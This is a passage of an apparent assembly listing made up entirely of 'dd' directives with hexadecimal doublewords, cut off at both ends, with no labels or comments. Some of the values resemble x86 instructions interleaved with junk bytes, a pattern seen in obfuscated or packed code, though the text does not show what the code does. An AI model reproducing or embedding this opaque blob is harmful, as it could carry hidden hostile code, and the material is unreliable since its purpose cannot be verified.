0CBCCF0F5h dd 0C33025A0h, 9D18F061h, 0B4BF34E6h, 58579218h, 6E958h dd 6E9A0000h, 4A6820FAh, 0A8C0Fh, 5E90000h, 0A6000000h dd 69CD28FAh, 0EE8h, 0B33BDE00h, 0D8F65FF8h, 0E11F813Dh dd 60F6FF06h, 0F9B70FF8h, 0DE85A61h, 0E3000000h, 0F00F947Ah dd 5DD816C6h, 0A0BB9ECEh, 5830Fh, 81660000h, 5E8346E7h dd 5A51B457h, 3830Fh, 8B660000h, 4BE60F0h, 0E82AF43Fh dd 11h, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 5A5F5725h dd 0BF605661h, 692BAE10h, 0DE85F61h, 6E000000h, 0C30D0488h dd 69D3AE2Ch, 0E9EF4973h, 11E9h, 0FC91B200h, 5440CAC4h dd 13DAFF7Ah, 0B19FBAAFh, 605ADDBBh, 6820Fh, 860F0000h dd 0 dd 2CB8161h, 8B2CDD1Ah, 80EBB4D9h, 0F5041C1h, 28Fh, 59C68B00h dd 0FD7BF0Fh, 8B66F7BFh, 10E9D8h, 26360000h, 8E3E682h dd 4A396AD0h, 96FB8D95h, 0CE9F309h, 5D000000h, 4987B153h dd 414CB8EBh, 0E8607F77h, 0Ah, 95A41A84h, 91402D87h, 12E9D782h dd 0FD000000h, 6701972Fh, 7866BC5h, 0A50F6F16h, 0D75EEBB7h dd 0EE805A0Fh, 0E680535Fh, 0AE95F6Ah, 0D5000000h, 529C8447h dd 6DDC5C67h, 0BE890h, 207C0000h, 0AEC3479Ah, 745B2D98h dd 8E95Ah, 64CE0000h, 6AB3EDE6h, 665910DAh, 0E9814BBAh dd 7, 1EDB709Ch, 606B2868h, 28A0Fh, 0CA8B0000h, 6661CE8Bh dd 890FC78Bh, 2, 0B70FCC8Ah, 28A0FC1h, 8B000000h, 0D08B66D9h dd 59FA8B57h, 50C08166h, 8890FFCh, 0F000000h, 287h, 605A5200h dd 66F08B60h, 61CB21BFh, 0CE861h, 7A1D0000h, 8B0AB70Eh dd 1A7B5E9h, 8B66E217h, 0FF858C7h, 38Bh, 0EED78000h, 298BEA81h dd 816040E3h, 2EDB0AE2h, 61C78B74h, 8EB8166h, 0ADBA6673h dd 0CBB70F83h, 4890Fh, 0B9660000h, 81663485h, 0FC0599E3h dd 5ED98B52h, 930CA81h, 0F98A265Ah, 66D98B66h, 7329F181h dd 850F7EB5h, 7, 5E1FB960h, 0F615B5Fh, 1E8Eh, 18840F00h dd 0E9000000h, 13h, 2F356EAh, 63E3EFA3h, 0F705C581h, 59BF37B0h dd 5725E359h, 2860Fh, 0F18A0000h, 0D88B665Fh, 0BBC081F5h dd 66279A7Dh, 61B8D781h, 10E9h, 3DDBA500h, 0DDAF2CD2h dd 0D99A4A1Ch, 30CB3C18h, 4800F89h, 66000000h, 0E9293FBBh dd 6, 93AC74Dh, 0DEBA4C8Fh, 0F1E5A52h, 587h, 0DB816600h dd 0DE975A6h, 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h dd 7E8h, 0E72C2A00h, 0B8A8BDB7h, 0D40CE981h, 605F6C4Fh dd 10E956h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh dd 0F5580598h, 9E861h, 0E86D0000h, 0AAE95620h, 669CDF80h dd 5A18CDB8h, 0E0B18ABEh, 0D78B6603h, 12E9F5h, 8A460000h dd 0DE59EA83h, 0A693154Bh, 0F0D982CBh, 48AB90A0h, 38D0Fh dd 0E7800000h, 810F60D8h, 15h, 0FE8h, 4C790D00h, 0B3AD0ED0h dd 682132AAh, 3E780E35h, 4BB9615Eh, 663F4248h, 0B866FB8Bh dd 0B96669EEh, 6E97DE0h, 0CE000000h, 0E4DBE6EAh, 0EE90Fh dd 34130000h, 0E063341Bh, 76AFFF75h, 3406D4DAh, 2830Fh dd 0D78B0000h, 0A890C2BBh, 0AE875h, 35B00000h, 0CA5FDCE6h dd 0E7CE8469h, 36DEBA58h, 5E95C18h, 74000000h, 0A15D9DB9h dd 66F38B66h, 6608A1B9h, 665218BAh, 800FCE8Bh, 3, 0FFFBF0Fh dd 188Fh, 13E900h, 5B9E0000h, 70D7694Fh, 67534BCCh, 18CA6C37h dd 960C7097h, 30BF6624h, 0EA8160B2h, 2D372BC1h, 5CDCD781h dd 0BE6129F8h, 252852CDh, 10E9h, 75A54500h, 2CCB3822h dd 0CF030496h, 0FEA8D33Fh, 5E86070h, 59000000h, 0C53C2A4h dd 87B93EB9h, 66615E07h, 66C2D4BAh, 1A84DA81h, 6AB6C0B0h dd 7E9h, 41340100h, 0D830148Fh, 38B0Fh, 8B660000h, 68D0FFEh dd 60000000h, 61606160h, 0CA6BF61h, 0F0800E44h, 54A9B8B5h dd 9E80D80h, 0AA000000h, 4CC72FEDh, 0BE3ACAC6h, 9E9h, 0BD00F00h dd 0B68E4D4Eh, 815B8112h, 4B8561C0h, 0DFE98137h, 661B880Ah dd 0F7A90BFh, 1F8Fh, 0B9666000h, 14E91853h, 9000000h, 9237AD0Ah dd 9A689087h, 34913AFFh, 0E7A637D1h, 61866181h, 9840Fh dd 66600000h, 2B83F181h, 0BB616160h, 416AB808h, 66D38B66h dd 0D487D081h, 0EE9h, 22369F00h, 6A323DFBh, 27645503h dd 0F1BBF69h, 9E9D1B7h, 16000000h, 0C07ED6FEh, 1DCD14CAh dd 0DA8B66FCh, 8B0F3FB2h, 3, 0E94FDC80h, 12h, 40459CCDh dd 0A043A039h, 0C67D0C6Dh, 0FD65BCD9h, 816633B7h, 0E9CBDFF6h dd 11h, 0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h, 0BE9A3h dd 0E7510000h, 8E40C4C2h, 0A06A5193h, 0C4BB668Ah, 56E9B4C8h dd 0EE8h, 0D880CD00h, 408BE317h, 0DDAA044Fh, 5EA40EA9h dd 1EB815Eh, 0F9067DBDh, 12E9h, 6AA77800h, 93998E26h, 995C92AAh dd 0EDF2B8E1h, 57E64707h, 0DF1913BFh, 80F9583Eh, 0CE99EC7h dd 0C0000000h, 568A8BBDh, 0C9474053h, 0F4A9B64h, 488h dd 6FB86600h, 69D580DEh, 13E9h, 0D7CC9C00h, 0ECEC6F7Dh dd 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 9EF08166h, 0CE91Ch dd 6A1D0000h, 0B3DE9184h, 555A46ADh, 7E923F5h, 0C6000000h dd 2B52F8D0h, 0D780A6FCh, 6CBF662Eh, 0DE8EAh, 0E8820000h dd 6DE4616Fh, 0D60F4C8h, 0F5A0EE7h, 805FC1B7h, 80570CE8h dd 0B85E92D3h, 5A2E6FDCh, 12B7F98Bh, 8166DEB7h, 0B60CF4D7h dd 0BE99Ch, 339E0000h, 28DD631Fh, 0EC737686h, 68F0FB0h dd 81000000h, 0F7AC4EC8h, 9E94Eh, 27120000h, 8E289577h dd 8186A82Bh, 66812DEFh, 66FA8B77h, 0A740CF81h, 5850Fh dd 0DEBA0000h, 665F2138h, 6656F98Bh, 605BD38Bh, 7311BB66h dd 61D9B70Fh, 0BE8h, 37DFE100h, 0DEF79354h, 6D50AA59h dd 9E67BE66h, 5BFC525Bh, 0D3B70F50h, 17800F58h, 0E9000000h dd 12h, 57922707h, 32B72665h, 0E920C1ECh, 4DE0CB8Ch, 0E8F50900h dd 10h, 0AD11679Dh, 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 81DDBF66h dd 820F605Fh, 6, 830Fh, 80610000h, 8AF9B5D6h, 98D0FCBh dd 0F000000h, 385h, 0B7D28000h, 1D54BE66h, 12E952h, 7D020000h dd 14D5602Ch, 30B0BA86h, 0BE875064h, 0B240F87Eh, 0BE85Fh dd 0D1BD0000h, 0A51C861Eh, 0F72625A6h, 89E3801Bh, 8B66505Fh dd 0FA8B5FCAh, 0EE857h, 969A0000h, 0FD15C4Ah, 0E297BAF7h dd 0ADA083C8h, 1BEF8166h, 0E85E5A40h, 6, 79B617F5h, 9E995A7h dd 1F000000h, 1369B3DAh, 58361564h, 9E858h, 0CF030000h dd 0FEA8D33Fh, 0B1C32D70h, 870F5F64h, 4, 954BBF66h, 13E9h dd 98624400h, 0DA1DA7F1h, 9CD61C29h, 0E08D3844h, 4E8720FFh dd 7ACBD381h, 81662EA4h, 60F3F8C3h, 8A0Fh, 7E90000h, 0C0000000h dd 9AAB8A7Eh, 66613D50h, 69D2E281h, 0D810Fh, 8E90000h dd 0BC000000h, 0F3EF73C7h, 66BEBD45h, 8E9D08Bh, 0F7000000h dd 0ABE3F77Eh, 0F9D34BDh, 88Dh, 2840F00h, 8A000000h, 0FE8B66CFh dd 0CE9DF8Bh, 76000000h, 0A3E9F1E2h, 0A3DCEADCh, 660DD061h dd 0F28BD98Bh, 0F820Fh, 0AE90000h, 0B6000000h, 2072B2DFh dd 43861F70h, 0C9BF0FAEh, 66D9BF0Fh, 0F94DD381h, 59E28166h dd 0EE9CCh, 0AA6B0000h, 0A0CF9E3Ah, 85AD4039h, 0DA135710h dd 8BF7B70Fh, 0FF8FCC3h, 870FD2B7h, 4, 5119BB66h, 13E9DA8Bh dd 8E000000h, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch dd 0E95646B4h, 0Eh, 708B33CAh, 1DFFB350h, 7AC146E2h, 605A80DAh dd 10E9EFB2h, 3C000000h, 0E4F1F7CCh, 0A2BC60FDh, 5E5DA888h dd 61826611h, 3EEA81FCh, 6625A2A3h, 8B66F18Bh, 66F960F7h dd 8E1BC881h, 0E1F5BF61h, 66606D17h, 6661FBBBh, 61A1A9BBh dd 11E9DBB1h, 7000000h, 0A8844ECh, 0EE31FBE6h, 447BA155h dd 67C34E69h, 60BBB560h, 5950ABB2h, 0B9666161h, 10E9C308h dd 5D000000h, 250FEFBFh, 0E7B35885h, 0FC3E0204h dd 531070CBh, 7E95Fh, 62AB0000h, 9896B8C5h, 0FE8C5h, 66AC0000h dd 1F22F2B7h, 6DA5ED58h, 0ADC017FFh, 0E7815905h, 42F610BBh dd 8830Fh, 8A0F0000h, 2, 8BF5FE8Ah, 0DE9D3h, 4B520000h dd 0E7E5CA9h, 709BBAF3h, 66694CC0h, 814339BAh, 0DBF1E5EFh dd 0EE976h, 12FB0000h, 7C46A794h, 51E21640h, 746F352Bh dd 447952BEh, 0E9F8606Fh, 12h, 906C25C4h, 5E077E87h, 9F8E949Bh dd 0F2C7D525h, 0F617492h, 188Dh, 12820F00h, 0E8000000h dd 0Ch, 0F648086Bh, 0F5AE3683h, 0F2DC0B2Eh, 12BB6658h dd 7E910h, 0BC670000h, 0E5D9117Bh, 0CE839h, 85FE0000h dd 0A0D618A3h, 30D11746h, 0CB808CDFh, 51605939h, 0FC5A5B50h dd 86BB6661h, 8A0FD2h, 66000000h, 0BE35F381h, 8E860h, 17670000h dd 0B63133F8h, 840F18E3h, 0 dd 6E858h, 0B5680000h, 6B7BCE50h, 8A0Fh, 61580000h, 0EE8h dd 59E2CE00h, 0E6A1A6h, 725CFDE8h, 50F8C4BAh, 595A5E57h dd 6E9h, 0E594E800h, 66C3E836h, 0C281C68Bh, 341C088Ch dd 3810F53h, 66000000h, 8159C78Bh, 644803DAh, 13E848h dd 3B1D0000h, 8C03D348h, 0A4CA7045h, 75E7CAC5h, 0D23E006Ch dd 15B560EFh, 6149E380h, 8E95Eh, 0B7B10000h, 3A7EF057h dd 0C181300Ah, 14241701h, 4AD38166h, 0EE97Eh, 49150000h dd 4D535969h, 0ED9637C1h, 623DAB63h, 2810Fh, 0F38B0000h dd 3830Fh, 0E5800000h, 14E95090h, 76000000h, 444F80BAh dd 0B50B4DCDh, 1612BD91h, 866674Ch, 5AFE3CFDh, 8166E18Ah dd 662442D3h, 821CE981h, 28E0Fh, 0C38B0000h, 8E9h, 7F84B00h dd 642B7AE8h, 0B866FCADh, 8B66F209h, 14E9D1h, 0D0E70000h dd 0A130B393h, 973798C8h, 1D2CE819h, 0E3CAD01h, 80605561h dd 61F935EAh, 5E9h, 95ACDF00h, 0D68BE29Fh, 0EB5EBE66h dd 0E981FCF8h, 7187045Dh, 83977BBFh, 0D9B70F09h, 0E985BF66h dd 57E18166h, 9FB1BA0Bh, 0BB666635h, 0E960820Eh, 10h, 0CDE64412h dd 58D70167h, 3B7BFE35h, 2C28537Eh, 18880Fh, 13E90000h dd 0E6000000h, 814B0A77h, 0A980041Dh, 2318468Bh, 7F63214Fh dd 8061D3BCh, 0DD8A0CE0h, 777DBB53h, 665F3D18h, 0A1B7D88Bh dd 8A0F60h, 56000000h, 87904CBAh, 0F615874h, 8F0FF8BFh dd 16h, 11E9h, 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h dd 810F905Dh, 6, 840Fh, 0BF0F0000h, 7880FC8h, 57000000h dd 38A3BB9h, 2DBE5B7Eh, 0F505AFB0h, 771CB966h, 0E8D38B66h dd 0Bh, 8EFD5262h, 7841E7E6h, 6636ED7Bh, 6D93C681h, 0FFB70F5Bh dd 0DB60BE66h, 4202A5B8h, 0EA816000h, 1FE16D45h, 8B66F561h dd 0BF0F52D9h, 0D98A59DFh, 0AE9h, 0CA438200h, 3FCA0D95h dd 81762924h, 0DD5B87C0h, 13E95Dh, 49CC0000h, 910A2572h dd 0C88B4B24h, 0E2C35B52h, 1407A4BCh, 10E908h, 0D2D70000h dd 71A765CEh, 0C809DD4Ah, 1E7039F0h, 81661917h, 0F89776C9h dd 8166F88Bh, 52F8E9C9h, 0B562C781h, 8A580653h, 68C0FD1h dd 81000000h, 283AA0F2h, 5B53603Eh, 0E8F88B61h, 12h, 95988612h dd 35DDDED3h, 0A28D7261h, 0C1A11B6Fh, 58F5EB83h, 4F7284BAh dd 0D6816647h, 12E9FF08h, 0FB000000h, 7C4AB636h, 2F93EC64h dd 3764654Dh, 13836943h, 0AE9A6h, 7F2F0000h, 982142E8h dd 5FFEB66h, 0F6ED8060h, 14870F61h, 0F000000h, 0E8Ch, 9E900h dd 7A9B0000h, 9148591Ch, 5789465Ah, 7C31B866h, 68D4BA5Bh dd 8D0F38C4h, 0 dd 0FE9h, 69840200h, 7A8D5A8Eh, 4228F91Eh, 5D553E1h, 0AE9h dd 370BB700h, 0CDF5F7B0h, 0F0757F4h, 28Eh, 0F5C38B00h dd 66F18B66h, 0BB66F28Bh, 0BE503363h, 3C3DD78Eh, 0CB816659h dd 0F28B3FAAh, 38D0Fh, 8B660000h, 0B05A52FBh, 3FB2B920h dd 8F0F04A6h, 1, 840F60F8h, 5, 0D611EABEh, 0E3816062h dd 72B18372h, 8A0Fh, 61610000h, 6E9h, 0D2BFEA00h, 608FE626h dd 61D88BFCh, 4800Fh, 0BF660000h, 0B0FC6DEBh, 0FD9B209h dd 487h, 0DE8B5600h, 0FEF8A59h, 8166DABFh, 66A439C6h, 0D4D8F381h dd 0DE27B9BFh, 14850F2Eh, 0E9000000h, 0Fh, 0A0DF3467h dd 94390CE9h, 0DC938B84h, 6056B77Ah, 0BE9h, 42AA6300h dd 289700DBh, 3453160h, 0F61DBB2h, 0F81h, 0AE900h, 6D0B0000h dd 1CC88515h, 24CD2547h, 8E860h, 368F0000h, 4FA557D2h dd 575BF213h, 830Fh, 61590000h, 0EE9C18Bh, 0EB000000h dd 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 0DE8B66C3h, 564EEA81h dd 8F0F4EFFh, 4, 5DADBA66h, 13E8h, 56168C00h, 93A20957h dd 15ECE685h, 0CD5A4E8Eh, 0B7E69E93h, 5EDF8B66h, 188B0Fh dd 13E90000h, 0CD000000h, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh dd 4898E336h, 12E9DB66h, 39000000h, 0E70C99Bh, 7311350Dh dd 23D188F1h, 760D89D6h, 8E8E8h, 0E2AA0000h, 0B788271Dh dd 8B661354h, 0B9505FC1h, 1AC7A1DEh, 20BA6659h, 0F88B660Ah dd 0E952F78Bh, 12h, 0FC175BAh, 0F1963367h, 41FBD675h, 0F0D5B404h dd 665F7FECh, 0CE9F88Bh, 0CD000000h, 4C57C3FEh, 0DC8AE976h dd 0E8FD6DC3h, 0Dh, 5B91AB57h, 0FA2B5098h, 8BD495FBh, 0FFBF0FC3h dd 0C0BF0F5Ah, 12E8h, 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah dd 87D7C663h, 0F88571Fh, 387h, 0FB8B6600h, 12E85Eh, 0B4E10000h dd 115BB830h, 11242739h, 44B6684Ch, 3E8CA6BAh, 4E76C781h dd 665E6030h, 895FD081h, 38E0Fh, 0B70F0000h, 0BE8CEh, 55B30000h dd 0C056F954h, 894E0F32h, 48F0F95h, 66000000h, 5A7E49B9h dd 870FCF8Ah, 2, 0EF81E68Ah, 19AAD86Fh, 13E8h, 0B94EFF00h dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 14E8h, 889B7200h dd 4C6DE0ABh, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 5F5FFC60h dd 4880Fh, 0B9660000h, 66604617h, 0C4BBF98Bh, 617880D0h dd 11E9h, 0EFDCD600h, 805189A2h, 3FAD42BCh, 540B26E1h dd 0E860C407h, 10h, 9F890832h, 5BAB71B6h, 0BFF311Ah, 141B547Fh dd 0C78166h, 0B70F5A2Ch, 80F961D7h, 8F0FFAF0h, 6, 0F69EC381h dd 8A0F3D82h, 17h, 10E957h, 0BBEF0000h, 0DE5E8023h, 484709E2h dd 0D4A6D23Fh, 575E23C2h, 12E9h, 0B50A6100h, 303F767Ah dd 0AEC827DDh, 92BD1157h, 5E972645h, 0CF41BA66h, 10E8h dd 0BEE26500h, 12958193h, 7CF8BAFEh, 32BEF332h, 0DE9EDh dd 79B40000h, 0C8134DC5h, 2E5CF9AAh, 5A05740Ch, 18E38166h dd 0FCFE8B03h, 80DEB70Fh, 0B552F0E9h, 0CE8B59A0h, 66C38B66h dd 81E76FBAh, 6A954AC0h, 0E4EF8144h, 0F20DC9Dh, 8Ch, 17800F00h dd 0E8000000h, 0Fh, 960D05Eh, 96582255h, 0EBAD7678h, 51721FBCh dd 5E95F5Eh, 9F000000h, 998A9437h, 0F7B70FFCh, 0CB80D18Ah dd 0FB0B38Eh, 281h, 81C38B00h, 0DA3BBEC3h, 0F19CB84Dh dd 0BF0F1303h, 0B70F56F8h, 0CF8B58F8h, 9870Fh, 890F0000h dd 3, 0F5F38B66h, 0F5F7BF66h, 0E5CE8160h, 5328193Ch, 13E8h dd 3E56BF00h, 0F9581BE8h, 94919A12h, 96978E7Ch, 63CB4D0Dh dd 81615A5Ah, 0A12437EAh, 8A0F500Ah, 0Eh, 8E8h, 0C7FF9D00h dd 0FFA5479Ch, 605F5E1Fh, 8166F560h, 61725FF7h, 70CF8166h dd 5852615Ch, 138F0Fh, 0EE90000h, 48000000h, 0A7348F61h dd 0DBFD6126h, 0F0450C55h, 76C681FCh, 8B7977F7h, 0C78166CEh dd 0FA8BFEBFh, 0B830Fh, 6E90000h, 0ED000000h, 8B8A5E14h dd 66605269h, 8166D18Bh, 6139DEE2h, 95DB815Bh, 8A6B1B0Ch dd 10E8F9DEh, 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h dd 81EA8B5Dh, 0CC108EE7h, 0FF95873h, 482h, 0F9BE6600h dd 0AE860AAh, 0C9000000h, 0FA37854Ah, 0C7228A2Fh, 0B7BB66C9h dd 0D18B593Dh, 0B0F98B61h, 0C78B665Bh, 9E4A67B8h, 13DF8054h dd 0D9C78166h, 92B9609Fh, 664E8777h, 24CE881h, 0B70F6061h dd 806061C1h, 0AE9FEE2h, 0B7000000h, 5089632Bh, 7ACA0672h dd 55B46195h, 14E8h, 4C48CE00h, 0E47AD3F1h, 0FE421FCCh dd 80A4676Ah, 92C7B509h, 6E837h, 370F0000h, 0B8CA0C84h dd 6E8h, 0AFBDBC00h, 5F12C484h, 830F5F5Fh, 3, 0FD78B66h dd 181h, 0C9B5F800h, 0CE8h, 5638E700h, 0BCBDE331h, 127D40E9h dd 5AC38BD6h, 6EBBBDBFh, 0BF0F5158h, 8D0F5EC0h, 18h, 10E8h dd 1321DF00h, 59B84EFCh, 6AAEE5BCh, 0D6BEAFF7h, 5E61603Eh dd 58B0Fh, 0AABE0000h, 6664CF79h, 2097E381h, 0BECE6CBAh dd 9E92Ch, 7F190000h, 0FE9B3852h, 52D65A81h, 0F5FF0B3h dd 0FE8DFB7h, 9E000000h, 4C3C8B8Fh, 1A456A5h, 17A91476h dd 8B0F0FFAh, 3, 58FA8B66h, 831EFBAh, 47BF663Bh, 14E943h dd 68D30000h, 1103C687h, 42F21711h, 6CB58C53h, 0A8E42640h dd 0E8607ED9h, 0Dh, 948E3B6Bh, 0E8942D33h, 93C8D201h, 11E9EBh dd 49F20000h, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h, 5E19E9D7h dd 0F3816650h, 61597B0Fh, 0BF0F15B2h, 0BE960CEh, 0A2000000h dd 6646C19Ah, 82277779h, 61F8589Dh, 0DE9CE8Ah, 14000000h dd 0A06B20Bh, 8F75F034h, 0FE13FBF8h, 60C78B66h, 7E9h, 0F2FF2200h dd 0C913DCFAh, 0D216F181h, 0F613833h, 168Dh, 108C0F00h dd 0E8000000h, 0Ah, 9DD38275h, 7A55113Fh, 605E2416h, 0EE68BA66h dd 0BDDF8166h, 5F536107h, 7DF38166h, 3840FCFh, 66000000h dd 0E950D88Bh, 13h, 0BB7CCFAAh, 0FACEA1FEh, 6B5D8F80h dd 0F210FABEh, 5A625AF5h, 9E9h, 0C4F2D900h, 0AF493370h dd 8F0F0090h, 5, 21EB3FBAh, 0E4DE8173h, 0F85E4B1Fh, 0BE9h dd 0C2E75100h, 938E40C4h, 8AA06A51h, 0C1C98166h, 0DE9F548h dd 80000000h, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 5E9h, 0C2ED8F00h dd 6E96A82h, 3F000000h, 3BB0FE5h, 0E9DE8A74h, 11h, 5C64ACA0h dd 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 0E857B27Fh, 7, 65EE01ECh dd 6091FD87h, 8C0Fh, 14E80000h, 0BB000000h, 20EC0373h dd 4D9DA96Ah, 3A0D05DBh, 0D3178887h, 5FC789C0h, 0C7815861h dd 3F5FF027h, 50C88B66h, 0DE8h, 0C373FB00h, 108F1D3Ah dd 0F12BFD71h, 8B6608F0h, 815A58C8h, 7A9393E6h, 0BFBA660Dh dd 0CE935h, 88190000h, 9A632649h, 37B4DE58h, 0B70FBA13h dd 0EBB866DAh, 0C18B66F0h, 0FE9h, 9DA77100h, 898CE7ABh dd 77C18D2Bh, 0F8AA31FFh, 3820Fh, 0B70F0000h, 8E8D1h, 31250000h dd 0EBEB1290h, 0B866D242h, 0B05E2BD4h, 5E8FC69h, 5B000000h dd 51B2CCA9h, 820Fh, 8A5B0000h, 0E78A50D4h, 8C0F5Fh, 81000000h dd 0DD2F85D8h, 5E9FC58h, 6D000000h, 282E00FCh, 0EFB2E881h dd 80B024F6h, 0BF08166h, 0EB816642h, 80F84DCCh, 850FECE8h dd 4, 71F7BB66h, 3890Fh, 0B70F0000h, 6686B3C8h, 0D180C18Bh dd 63D2818Dh, 606094F1h, 7E9h, 731B5100h, 32AD07E3h, 860Fh dd 66610000h, 0D3B4D88Bh, 0DE8B6660h, 61F28B66h, 0CE9FCh dd 80A40000h, 92C7B509h, 70C3B137h, 81662938h, 6682C7D8h dd 0BFDD6CB9h, 72E91FA1h, 0EE9h, 0DA012000h, 67EF0785h dd 0A05AC353h, 0E986DEDAh, 10h, 7B62B963h, 0C54A094Fh dd 0FEEB1710h, 0FAA8AF51h, 0FE96060h, 7000000h, 0AA0AF49Ah dd 0CFFAD7A3h, 56BFCE4Ch, 0E861E83Eh, 0Ch, 86984107h, 955E3966h dd 7BB7B5F9h, 0F606158h, 283h, 6181B100h, 5E9h, 2DB2D000h dd 7E816BDh, 38000000h, 65E419EBh, 0B1B27655h, 6800F5Bh dd 81000000h, 30C597CEh, 0F56F50Bh, 585h, 0F00FB900h, 665F60F8h dd 8F0FC28Bh, 4, 0E81EBA66h, 0CDEF8166h, 9E9EDh, 13460000h dd 772B0B9Bh, 0FC2CEB9h, 80h, 0FE8B6600h, 0BB666060h, 0D08B3B23h dd 1E61B861h, 0F8612AE5h, 5860Fh, 81660000h, 80643AC9h dd 0A8B7FFD2h, 444BB966h, 8820Fh, 890F0000h, 2, 8166CE8Ah dd 667CABDFh, 0B70FCB8Bh, 9E9F7h, 8770000h, 0AD56BCD4h dd 52B583CBh, 4B203EBFh, 9E95879h, 42000000h, 0A2DBD4E5h dd 4BF8C7Dh, 4820Fh, 0BF660000h, 0B86629D3h, 0F509663h dd 385h, 0C68B6600h, 0FE9525Bh, 0C2000000h, 6BDCB239h dd 0D3C5DF3Fh, 0EA5EF4CEh, 8B5B9416h, 0E08166C8h, 9E96A7Eh dd 0A000000h, 0EE76CB6Ah, 9B0E9CCh, 0F920EBBEh, 6CC8BB39h dd 8E952FAh, 6A000000h, 0FC3BE15Ah, 0BED8BCD6h, 2DD881F4h dd 0F961FC60h, 0DDD1EF81h, 0F53397Dh, 8B5FFFBFh, 0F1F1BACBh dd 816649D3h, 52385DF3h, 5E8h, 0B7B32800h, 800FBA99h, 0 dd 8B60595Fh, 0F18B66C7h, 4FF18161h, 667E0A06h, 14E9D78Bh dd 0B5000000h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h dd 0F935C8B4h, 0BF66E1B7h, 0D88B93ADh, 8B66F88Bh, 81BFB4DEh dd 0B26C27C6h, 0A3BF662Bh, 8E0F49h, 0E8000000h, 10h, 0E73D4E3Bh dd 840C5EBEh, 0E1AD2443h, 77AA8684h, 5F72C880h, 0FE960h dd 880B0000h, 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 61EAB1B8h dd 8E9h, 0FF958C00h, 0FD90E28Fh, 6657F974h, 0F59FB8Bh dd 850FF7B7h, 0 dd 5039DB80h, 0FFC98166h, 0F605B0Fh, 0EF81F7B7h, 0E3C7BDBh dd 0F53F561h, 665BCAB7h, 0BE66FE8Bh, 61B72EB7h, 7E1FC781h dd 0BE663FFFh, 8166D73Eh, 665CD8D6h, 14D4D981h, 8B2EF780h dd 0BEA7B7F8h, 1514A86Bh, 2A48BF66h, 0D68BDE8Ah, 0EB80F860h dd 0F08161E7h, 0EA0700Ah, 8D0Fh, 0B8660000h, 0AE9B176h dd 90000000h, 0CD28FAA6h, 0C261A569h, 11E9606Eh, 0FC000000h dd 33CAA931h, 0B350708Bh, 46E21DFFh, 80DA7AC1h, 0D820Fh dd 8E90000h, 1D000000h, 0DCE9900Eh, 619C2668h, 387EC881h dd 870F32B5h, 16h, 8E860h, 0B7400000h, 0D1FF579Ch, 815F94E8h dd 84B29AEAh, 0E9F56153h, 7, 0DF3F6BDCh, 0E9CED3C5h, 8 dd 0D6E8533Eh, 7771AA30h, 0F4BFEFBBh, 60CA8A71h, 0A1D88166h dd 75B9612Dh, 566A4CBCh, 5AC18B56h, 66F0B15Fh, 14E9C78Bh dd 18000000h, 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h dd 0F8F65BF7h, 11E952h, 9A870000h, 935FFB74h, 204F1C50h dd 0E24A9477h, 5E144C7Dh, 0B2465CBBh, 0D98B667Eh, 0CE9F5h dd 0FF020000h, 0ABD99F92h, 0E935D583h, 0DA812C8Fh, 295F8985h dd 5350B966h, 17DEBE66h, 653FDE81h, 0BB667568h, 80602BE9h dd 0B70F97E7h, 9CBF61CEh, 605990E8h, 60C18B66h, 9E8h, 0FEFB7500h dd 7107B7E1h, 0F5FB8AAh, 8Ah, 8B616100h, 2860FFEh, 8B000000h dd 820F60DFh, 3, 61F9B70Fh, 0F5EF080h, 28Ch, 52C68A00h dd 2880Fh, 0B60000h, 876AB85Bh, 0C1815B58h, 49ACE616h dd 0E870Fh, 9E90000h, 0FD000000h, 5F634140h, 26A6044Bh dd 0D28060F8h, 61C28B1Ah, 23F1F381h, 0ED80122Ah, 3559BA62h dd 61BA0593h, 0E87CD98Dh, 7, 0EEE5FC40h, 8B68AA81h, 0C0805FFBh dd 0FD5B232h, 8160D8B7h, 37872BD8h, 6133BA30h, 66613849h dd 0BF0FF18Bh, 75CA81DAh, 0F7CEADCh, 1080h, 0BE900h, 28A70000h dd 4704CAD0h, 3E50B9Dh, 8A0F60FEh, 2, 0BF0FF28Bh, 12E961DAh dd 0D8000000h, 0EAA2D60Ah, 0BED1DDE2h, 7A65A380h, 0A37A3086h dd 8C0FA7h, 0BF000000h, 7859C1ADh, 0E9DA8B66h, 9, 8722CA5Eh dd 1ACAA660h, 0B6E080AAh, 7368D881h, 9B9724Bh, 8B748074h dd 11E9D9h, 9940000h, 6C6D0051h, 5359918h, 0F1E276E7h dd 0E8DCA3E9h, 12h, 2627DB77h, 36CDCFE1h, 0A8FF9800h, 50EBE16Ah dd 605E7064h, 0B616C5B8h, 2800F36h, 8B000000h, 890F61F1h dd 13h, 0EE9h, 0A3BA6B00h, 0AB210767h, 6B377C6Bh, 0F381B88h dd 168Bh, 11E900h, 7CC0000h, 0FDFA98Ch, 0D2FA7095h, 5009B593h dd 0FA035F2h, 380h, 0C1E88000h, 0E97CCF80h, 14h, 7DD447A5h dd 94C747DEh, 9CF4541Ah, 7FC4CFE2h, 8EDB4017h, 0AE9C0B6h dd 39000000h, 0A61C1973h, 0E8B0024Eh, 0D281668Dh, 0E852FDACh dd 8, 871434CEh, 67ED52F2h, 1B4EB966h, 0C28B5A5Fh, 0EE8166F5h dd 0BE91FA5h, 59000000h, 0C3E4CF82h, 7D7CB9B5h, 8C0FAEF6h dd 0 dd 58B0Fh, 81660000h, 66FCC7F2h, 0BA06F381h, 0DDAAB966h dd 5FBF5BB7h, 0E8101823h, 0Ch, 